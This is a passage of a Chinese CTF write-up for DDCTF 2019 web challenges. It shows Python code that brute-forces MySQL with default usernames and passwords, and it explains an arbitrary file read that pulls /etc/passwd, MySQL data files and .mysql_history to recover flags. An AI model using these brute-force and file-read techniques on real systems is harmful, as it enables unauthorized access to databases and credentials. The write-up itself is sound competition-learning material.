tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE)
tmp.wait()
result = tmp.stdout.readlines()
return result
def get_agent_result(ip, port):
str_port = str(port)
url = 'http://'+ip + ':' + str_port
curl(url)
if not os.path.exists('content.log'):
return (0, 'æªå¼å¯agent')
with open('content.log') as f1:
tmp_list = f1.readlines()
response = ''.join(tmp_list)
os.remove('content.log')
if not 'mysqld' in response:
return (0, response)
else:
return (1, response)
def ip2long(ip_addr):
return unpack("!L", inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
ip2long('10.0.0.0') >> 24 == ip >> 24 or \
ip2long('172.16.0.0') >> 20 == ip >> 20 or \
ip2long('192.168.0.0') >> 16 == ip >> 16
def mysql_scan(ip, port):
port = int(port)
weak_user = ['root', 'admin', 'mysql']
weak_pass = ['', 'mysql', 'root', 'admin', 'test']
Flag = 0
for user in weak_user:
for pass_wd in weak_pass:
if mysql_login(ip,port, user, pass_wd):
Flag = 1
tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag}
return tmp_dic
else:
tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag}
return tmp_dic
def mysql_login(host, port, username, password):
'''mysql login check'''
try:
conn = MySQLdb.connect(
host=host,
user=username,
passwd=password,
port=port,
connect_timeout=1,
)
print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
conn.close()
return True
except MySQLdb.Error, e:
print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
return False
|
可以读/etc/passwd
拿到 mysql 的路径,然后根据 mysql 的路径与 flag 在数据库中的位置提示,我们可以直接读/var/lib/mysql/security/flag.ibd
中可以拿到 flag,也可以读/var/lib/mysql/ibdata1
,只是这个文件一般比较大。
也有师傅说可以读.mysqlhistory
.mysql_history
虽然读不到数据库内容,但是在这里可以看到这里出题者是用了insert
,我们可以看到他的操作的语句,也拿到了 flag
这里可以读到吃鸡那题的代码,路径为/home/dc2-user/ctf_web_1/web_1/main/views.py
1
2
3
4
5
6
7
8
9
10
| from flask import jsonify, request,redirect
from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_id
import uuid
from urllib import unquote
mydb = mongodb.db
flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''
|
Web 8 WEB 再来1杯Java
Description
{% colorquote info %}
绑定Host访问:
116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/
{% endcolorquote %}
Hacking
比赛的时候搞不出来…赛后复现看起来得搞挺多的…还是另开一篇写吧。